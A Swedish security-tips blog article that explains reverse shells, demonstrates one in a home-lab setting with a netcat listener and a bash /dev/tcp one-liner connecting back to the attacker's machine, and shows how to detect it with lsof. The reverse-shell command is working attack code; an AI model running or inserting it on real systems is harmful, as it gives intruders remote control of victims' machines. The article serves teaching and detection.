Reverse shell är precis vad det låter som, ett omvänt skal. Istället för att angriparen ansluter till offrets dator, ansluter ett reverse shell istället från offret till angriparens dator. Detta gör att brandväggen som vi ofta förlitar oss på inte hjälper särskilt mycket här. Anslutningen går ju ut mot internet, inte in till offrets dator. Dessutom lyssnar angriparen ofta på en vanlig port, exempelvis 80 eller 443, för att inte bli blockerad eller upptäckas.

Blandade säkerhetstips, del 4

Att stoppa ett reverse shell är därför inte helt enkelt. Det går dock (oftast) att upptäcka i processlistan med lsof -i.

Men först ska vi titta på vad ett reverse shell är och hur det fungerar.

Ett exempel

Först startar angriparen en lyssnare som lyssnar efter inkommande anslutningar. Ett vanligt verktyg för detta är netcat (ibland förkortat nc). I detta exempel är angriparens dator 192.168.0.49.

ANNONS

På angriparens dator (192.168.0.49)

Nu startar vi lyssnaren på angriparens dator med nc. Växeln -l står för listen, -v för verbose, -p för port. Porten jag väljer här är 8080:

jake@attacker:~> nc -lvp 8080
listening on [any] 8080 ...

På offrets dator (192.168.0.19)

På något sätt måste nu angriparen initiera anslutning till sin egna dator. Ofta sker detta genom en hackad eller dåligt konfigurerad webbapplikation eller dylikt. Det skulle också kunna vara så att angriparen lurar offret att köra ett program eller skript. Det finns många sätt en angripare kan initiera anslutningen på. Det enda som behövs är att angriparen på något sätt kan exekvera ett enstaka kommando på offrets dator. Här kommer vi att exekvera det manuellt:

jake@victim:~> bash -i >& /dev/tcp/192.168.0.49/8080 0>&1

På angriparens dator (192.168.0.49)

I terminalen på angriparens dator som startade lyssnaren ser vi nu att offret har anslutit till oss. Vi har också ett skal på offrets dator som vi kan använda för att exekvera valfria kommandon i:

listening on [any] 8080 ...
connect to [192.168.0.49] from [192.168.0.19] 51854
jake@victim:~> hostname
victim
jake@victim:~> ls
Documents
Downloads
Pictures
me.jpg

Eftersom Bash finns på i princip alla Linux- och Unix-datorer behövs inte ens något speciellt program laddas ner på offrets dator. Allt som behövs finns redan.

Skydd

Eftersom det omvända skalet kan använda vilken port som helst går det inte att söka efter en specifik port för att upptäcka intrånget. Enda möjliga lösningen är således att försöka hitta den misstänkta processen. Men inte heller detta är helt säkert. Det går att öppna ett reverse shell på många olika sätt, exempelvis med Netcat, Bash, Python, Perl etc.

I vårt exempel med Bash kan vi hitta det omvända skalet med lsof eftersom det är den enda Bash-processen som är har en aktiv TCP-anslutning. Dessutom är både standard input (0), standard output (1) och standard error (2) omdirigerade. Växeln -i betyder internet adress:

root@victim:~> lsof -i
...
bash    74452 jake    0u  IPv4 16112937      0t0  TCP 192.168.0.19:51854->192.168.0.49:webcache (ESTABLISHED)
bash    74452 jake    1u  IPv4 16112937      0t0  TCP 192.168.0.19:51854->192.168.0.49:webcache (ESTABLISHED)
bash    74452 jake    2u  IPv4 16112937      0t0  TCP 192.168.0.19:51854->192.168.0.49:webcache (ESTABLISHED)
...


Kommentarer

Kommentarsfältet är modererat. Det innebär att alla kommentarer granskas av ansvarig utgivare före publicering.

Du väljer själv om du vill ange ditt riktiga namn, en pseudonym eller vara helt anonym. Ingen registrering behövs.